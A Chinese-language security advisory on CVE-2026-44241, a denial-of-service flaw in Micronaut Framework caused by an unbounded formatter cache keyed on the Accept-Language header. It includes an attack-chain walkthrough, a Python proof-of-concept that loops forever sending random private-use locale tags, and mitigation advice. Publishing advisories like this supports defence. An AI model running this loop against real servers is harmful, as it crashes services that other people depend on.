IPBUF安全漏洞报告
English
CVE-2026-44241 CVSS 7.5 高危

CVE-2026-44241 Micronaut Framework拒绝服务漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44241
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Micronaut Framework

相关标签

拒绝服务DoSMicronaut内存耗尽CVE-2026-44241Unbounded Cache

漏洞概述

Micronaut Framework 4.3.0至4.10.22之前版本存在拒绝服务漏洞。由于TimeConverterRegistrar在无界的ConcurrentHashMap中缓存DateTimeFormatter实例,且密钥源自HTTP Accept-Language头。攻击者可通过发送包含不同BCP 47私有扩展区域设置标签的请求,生成无限唯一密钥,耗尽堆内存导致JVM崩溃。

技术细节

该漏洞源于Micronaut Framework在处理日期时间格式转换时的缓存机制缺陷。受影响版本中,TimeConverterRegistrar类使用一个无界的ConcurrentHashMap来缓存DateTimeFormatter对象。缓存的Key是由@Format注解的模式与HTTP请求头中的Accept-Language(Locale)拼接而成。关键问题在于Java的Locale.forLanguageTag()方法接受任意的BCP 47私有扩展标签(如en-x-a001)。攻击者无需认证即可构造包含大量不同随机私有扩展标签的HTTP请求。由于缓存是无界的,服务器会为每个唯一的Locale标签创建并缓存一个新的DateTimeFormatter实例。随着请求量的增加,缓存对象无限增长,最终导致JVM堆内存耗尽(OOM),引发服务拒绝。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标应用使用的是Micronaut Framework,且版本在4.3.0至4.10.22之间。
STEP 2
2. 构造恶意请求
攻击者编写脚本,生成包含随机BCP 47私有扩展标签(如en-x-{random})的Accept-Language请求头,向目标服务器发送大量HTTP请求。
STEP 3
3. 触发漏洞
服务器端的TimeConverterRegistrar为每个唯一的Locale标签创建并缓存DateTimeFormatter对象,导致ConcurrentHashMap无限增长。
STEP 4
4. 拒绝服务
随着堆内存被耗尽,JVM抛出OutOfMemoryError并崩溃,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import random import string def generate_random_locale(): # Generate a random private-use extension tag (e.g., en-x-{random}) random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=5)) return f"en-x-{random_suffix}" def exploit(url): headers = { # Target the Accept-Language header to trigger the cache key generation 'Accept-Language': generate_random_locale(), 'User-Agent': 'CVE-2026-44241-PoC' } try: print(f"Sending request with locale: {headers['Accept-Language']}") response = requests.get(url, headers=headers, timeout=5) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": target_url = "http://localhost:8080/api/date" print("Starting DoS attack via unbounded cache...") while True: exploit(target_url)

影响范围

Micronaut Framework >= 4.3.0, < 4.10.22

防御指南

临时缓解措施
如果无法立即升级,建议在网关或WAF层配置规则,拦截或净化包含非标准私有扩展(如-x-后跟随机字符)的Accept-Language请求头,限制单个IP的请求频率,以减轻攻击影响。

参考链接